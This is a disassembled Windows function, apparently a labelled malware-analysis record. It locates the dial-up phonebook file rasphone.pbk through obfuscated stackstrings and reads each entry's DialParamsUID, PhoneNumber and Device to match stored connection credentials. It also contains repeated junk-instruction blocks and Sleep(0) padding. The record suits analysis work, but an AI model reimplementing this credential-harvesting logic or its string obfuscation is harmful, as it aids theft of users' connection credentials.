Function at 0x40455a
Capabilities:
Check os version
Contain obfuscated stackstrings
Get common file path
Read .ini file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x84c
push ebx
push esi
push edi
mov dword [ebp - 0x84c], ecx
mov dword [ebp - 0x300], 0
push 0x105
lea eax, [ebp - 0x1ac]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push str.Documents_and_Settings_
push 0x5c
lea ecx, [ebp - 0x1ac]
push ecx
call fcn.004253a0
add esp, 8
add eax, 1
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [ebp - 0x84c]
mov eax, dword [edx + 0x14]
push eax
lea ecx, [ebp - 0x1ac]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov byte [ebp - 0x2fc], 0x5c
mov byte [ebp - 0x2fb], 0x41
mov byte [ebp - 0x2fa], 0x70
mov byte [ebp - 0x2f9], 0x70
mov byte [ebp - 0x2f8], 0x6c
mov byte [ebp - 0x2f7], 0x69
mov byte [ebp - 0x2f6], 0x63
mov byte [ebp - 0x2f5], 0x61
mov byte [ebp - 0x2f4], 0x74
mov byte [ebp - 0x2f3], 0x69
mov byte [ebp - 0x2f2], 0x6f
mov byte [ebp - 0x2f1], 0x6e
mov byte [ebp - 0x2f0], 0x20
mov byte [ebp - 0x2ef], 0x44
mov byte [ebp - 0x2ee], 0x61
mov byte [ebp - 0x2ed], 0x74
mov byte [ebp - 0x2ec], 0x61
mov byte [ebp - 0x2eb], 0x5c
mov byte [ebp - 0x2ea], 0x4d
mov byte [ebp - 0x2e9], 0x69
mov byte [ebp - 0x2e8], 0x63
mov byte [ebp - 0x2e7], 0x72
mov byte [ebp - 0x2e6], 0x6f
mov byte [ebp - 0x2e5], 0x73
mov byte [ebp - 0x2e4], 0x6f
mov byte [ebp - 0x2e3], 0x66
mov byte [ebp - 0x2e2], 0x74
mov byte [ebp - 0x2e1], 0x5c
mov byte [ebp - 0x2e0], 0x4e
mov byte [ebp - 0x2df], 0x65
mov byte [ebp - 0x2de], 0x74
mov byte [ebp - 0x2dd], 0x77
mov byte [ebp - 0x2dc], 0x6f
mov byte [ebp - 0x2db], 0x72
mov byte [ebp - 0x2da], 0x6b
mov byte [ebp - 0x2d9], 0x5c
mov byte [ebp - 0x2d8], 0x43
mov byte [ebp - 0x2d7], 0x6f
mov byte [ebp - 0x2d6], 0x6e
mov byte [ebp - 0x2d5], 0x6e
mov byte [ebp - 0x2d4], 0x65
mov byte [ebp - 0x2d3], 0x63
mov byte [ebp - 0x2d2], 0x74
mov byte [ebp - 0x2d1], 0x69
mov byte [ebp - 0x2d0], 0x6f
mov byte [ebp - 0x2cf], 0x6e
mov byte [ebp - 0x2ce], 0x73
mov byte [ebp - 0x2cd], 0x5c
mov byte [ebp - 0x2cc], 0x70
mov byte [ebp - 0x2cb], 0x62
mov byte [ebp - 0x2ca], 0x6b
mov byte [ebp - 0x2c9], 0x5c
mov byte [ebp - 0x2c8], 0x72
mov byte [ebp - 0x2c7], 0x61
mov byte [ebp - 0x2c6], 0x73
mov byte [ebp - 0x2c5], 0x70
mov byte [ebp - 0x2c4], 0x68
mov byte [ebp - 0x2c3], 0x6f
mov byte [ebp - 0x2c2], 0x6e
mov byte [ebp - 0x2c1], 0x65
mov byte [ebp - 0x2c0], 0x2e
mov byte [ebp - 0x2bf], 0x70
mov byte [ebp - 0x2be], 0x62
mov byte [ebp - 0x2bd], 0x6b
mov byte [ebp - 0x2bc], 0
lea edx, [ebp - 0x2fc]
push edx
lea eax, [ebp - 0x1ac]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0
push 0x23
lea ecx, [ebp - 0x2b8]
push ecx
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
push str.MicrosoftNetworkConnectionspbk_rasphone.pbk
lea edx, [ebp - 0x2b8]
push edx
push 0x44c1b8
lea eax, [ebp - 0x2b8]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea ecx, [ebp - 0x1ac]
mov dword [ebp - 0xa4], ecx
lea edx, [ebp - 0x2b8]
mov dword [ebp - 0xa0], edx
mov dword [ebp - 0x98], 0x94
lea eax, [ebp - 0x98]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [ebp - 0x88], 2
jne 0x40481a
cmp dword [ebp - 0x94], 5
jb 0x40481a
mov ecx, dword [ebp - 0x84c]
call fcn.0040430f
mov dword [ebp - 4], 0x1000
mov ecx, dword [ebp - 4]
push ecx
call fcn.00433c24
add esp, 4
mov dword [ebp - 0x838], eax
mov edx, dword [ebp - 0x838]
mov dword [ebp - 0x9c], edx
mov dword [ebp - 0x1b0], 0
jmp 0x40485a
mov eax, dword [ebp - 0x1b0]
add eax, 1
mov dword [ebp - 0x1b0], eax
cmp dword [ebp - 0x1b0], 2
jae 0x404d96
mov ecx, dword [ebp - 4]
push ecx
push 0
mov edx, dword [ebp - 0x9c]
push edx
call fcn.004245f0
add esp, 0xc
mov eax, dword [ebp - 0x1b0]
mov ecx, dword [ebp + eax*4 - 0xa4]
push ecx
mov edx, dword [ebp - 4]
push edx
mov eax, dword [ebp - 0x9c]
push eax
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileSectionNamesA]
mov ecx, dword [ebp - 0x9c]
mov dword [ebp - 0x304], ecx
jmp 0x4048c6
mov edx, dword [ebp - 0x304]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ecx, dword [ebp - 0x304]
lea edx, [ecx + eax + 1]
mov dword [ebp - 0x304], edx
mov eax, dword [ebp - 0x304]
movsx ecx, byte [eax]
test ecx, ecx
je 0x404d91
mov edx, dword [ebp - 0x304]
push edx
mov ecx, dword [ebp - 0x84c]
call fcn.004044a8
mov dword [ebp - 0x628], eax
push 0x100
push 0
lea eax, [ebp - 0x624]
push eax
call fcn.004245f0
add esp, 0xc
push 0x100
push 0
lea ecx, [ebp - 0x830]
push ecx
call fcn.004245f0
add esp, 0xc
push 0x100
push 0
lea edx, [ebp - 0x504]
push edx
call fcn.004245f0
add esp, 0xc
push 0x100
push 0
lea eax, [ebp - 0x72c]
push eax
call fcn.004245f0
add esp, 0xc
push 0x100
push 0
lea ecx, [ebp - 0x404]
push ecx
call fcn.004245f0
add esp, 0xc
nop
bt eax, 0xe0
xor ah, 0x3d
sub al, 0xb5
test ebp, ebx
xor al, al
xadd eax, eax
xadd ah, al
neg eax
imul eax, ebx, 0x78b3bbf9
inc eax
imul eax, edx, 0xf9539b11
and eax, 0xc7e2d3ce
movsx eax, si
bsf eax, ecx
movsx eax, bx
btc eax, 0xb
dec eax
test cl, bl
mov eax, 0x2e383802
mov ah, 0x3d
mov ah, 0x8e
shrd eax, ebp, cl
movzx eax, dh
movsx eax, bl
test ecx, eax
shrd eax, esi, cl
rcl ah, 0x62
test ecx, edi
imul eax, ebp
bsf eax, edx
xadd al, ah
test edi, esi
dec al
bswap eax
dec ah
sub al, cl
mov byte [ebp - 0x514], 0x44
mov byte [ebp - 0x513], 0x69
mov byte [ebp - 0x512], 0x61
mov byte [ebp - 0x511], 0x6c
mov byte [ebp - 0x510], 0x50
mov byte [ebp - 0x50f], 0x61
mov byte [ebp - 0x50e], 0x72
mov byte [ebp - 0x50d], 0x61
mov byte [ebp - 0x50c], 0x6d
mov byte [ebp - 0x50b], 0x73
mov byte [ebp - 0x50a], 0x55
mov byte [ebp - 0x509], 0x49
mov byte [ebp - 0x508], 0x44
mov byte [ebp - 0x507], 0
mov edx, dword [ebp - 0x1b0]
mov eax, dword [ebp + edx*4 - 0xa4]
push eax
push 0x100
lea ecx, [ebp - 0x624]
push ecx
push 0
lea edx, [ebp - 0x514]
push edx
mov eax, dword [ebp - 0x304]
push eax
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
mov dword [ebp - 0x730], eax
cmp dword [ebp - 0x730], 0
jle 0x404b54
mov dword [ebp - 0x834], 0
jmp 0x404a85
mov ecx, dword [ebp - 0x834]
add ecx, 1
mov dword [ebp - 0x834], ecx
mov edx, dword [ebp - 0x84c]
mov eax, dword [ebp - 0x834]
cmp eax, dword [edx + 0x10]
jge 0x404b54
mov ecx, dword [ebp - 0x834]
imul ecx, ecx, 0x301
mov edx, dword [ebp - 0x84c]
mov eax, dword [edx + 0x1c]
add eax, ecx
push eax
lea ecx, [ebp - 0x624]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
jne 0x404b4f
mov edx, dword [ebp - 0x834]
imul edx, edx, 0x301
mov eax, dword [ebp - 0x84c]
mov ecx, dword [eax + 0x1c]
lea edx, [ecx + edx + 0x200]
push edx
lea eax, [ebp - 0x830]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov ecx, dword [ebp - 0x834]
imul ecx, ecx, 0x301
mov edx, dword [ebp - 0x84c]
mov eax, dword [edx + 0x1c]
lea ecx, [eax + ecx + 0x100]
push ecx
lea edx, [ebp - 0x504]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov eax, dword [ebp - 0x834]
imul eax, eax, 0x301
mov ecx, dword [ebp - 0x84c]
mov edx, dword [ecx + 0x1c]
mov byte [edx + eax + 0x300], 1
mov eax, dword [ebp - 0x84c]
mov ecx, dword [eax + 8]
add ecx, 1
mov edx, dword [ebp - 0x84c]
mov dword [edx + 8], ecx
jmp 0x404b54
jmp 0x404a76
nop
bt eax, 0xe0
xor ah, 0x3d
sub al, 0xb5
test ebp, ebx
xor al, al
xadd eax, eax
xadd ah, al
neg eax
imul eax, ebx, 0x78b3bbf9
inc eax
imul eax, edx, 0xf9539b11
and eax, 0xc7e2d3ce
movsx eax, si
bsf eax, ecx
movsx eax, bx
btc eax, 0xb
dec eax
test cl, bl
mov eax, 0x2e383802
mov ah, 0x3d
mov ah, 0x8e
shrd eax, ebp, cl
movzx eax, dh
movsx eax, bl
test ecx, eax
shrd eax, esi, cl
rcl ah, 0x62
test ecx, edi
imul eax, ebp
bsf eax, edx
xadd al, ah
test edi, esi
dec al
bswap eax
dec ah
sub al, cl
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov byte [ebp - 0x520], 0x50
mov byte [ebp - 0x51f], 0x68
mov byte [ebp - 0x51e], 0x6f
mov byte [ebp - 0x51d], 0x6e
mov byte [ebp - 0x51c], 0x65
mov byte [ebp - 0x51b], 0x4e
mov byte [ebp - 0x51a], 0x75
mov byte [ebp - 0x519], 0x6d
mov byte [ebp - 0x518], 0x62
mov byte [ebp - 0x517], 0x65
mov byte [ebp - 0x516], 0x72
mov byte [ebp - 0x515], 0
mov eax, dword [ebp - 0x1b0]
mov ecx, dword [ebp + eax*4 - 0xa4]
push ecx
push 0x100
lea edx, [ebp - 0x72c]
push edx
push 0
lea eax, [ebp - 0x520]
push eax
mov ecx, dword [ebp - 0x304]
push ecx
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
mov edx, dword [ebp - 0x1b0]
mov eax, dword [ebp + edx*4 - 0xa4]
push eax
push 0x100
lea ecx, [ebp - 0x404]
push ecx
push 0
push str.Device
mov edx, dword [ebp - 0x304]
push edx
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
lea eax, [ebp - 0x404]
push eax
mov ecx, dword [ebp - 0x84c]
call fcn.004044a8
mov dword [ebp - 0x524], eax
lea ecx, [ebp - 0x830]
push ecx
mov ecx, dword [ebp - 0x84c]
call fcn.004044a8
mov dword [ebp - 0x62c], eax
mov edx, dword [ebp - 0x524]
push edx
lea eax, [ebp - 0x72c]
push eax
lea ecx, [ebp - 0x504]
push ecx
mov edx, dword [ebp - 0x62c]
push edx
mov eax, dword [ebp - 0x628]
push eax
lea ecx, [ebp - 0x624]
push ecx
mov ecx, dword [ebp - 0x84c]
call fcn.00404dba
mov edx, dword [ebp - 0x628]
mov dword [ebp - 0x83c], edx
mov eax, dword [ebp - 0x83c]
push eax
call fcn.00433c4d
add esp, 4
mov ecx, dword [ebp - 0x62c]
mov dword [ebp - 0x840], ecx
mov edx, dword [ebp - 0x840]
push edx
call fcn.00433c4d
add esp, 4
mov eax, dword [ebp - 0x524]
mov dword [ebp - 0x844], eax
mov ecx, dword [ebp - 0x844]
push ecx
call fcn.00433c4d
add esp, 4
jmp 0x4048a9
jmp 0x40484b
mov edx, dword [ebp - 0x9c]
mov dword [ebp - 0x848], edx
mov eax, dword [ebp - 0x848]
push eax
call fcn.00433c4d
add esp, 4
mov al, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret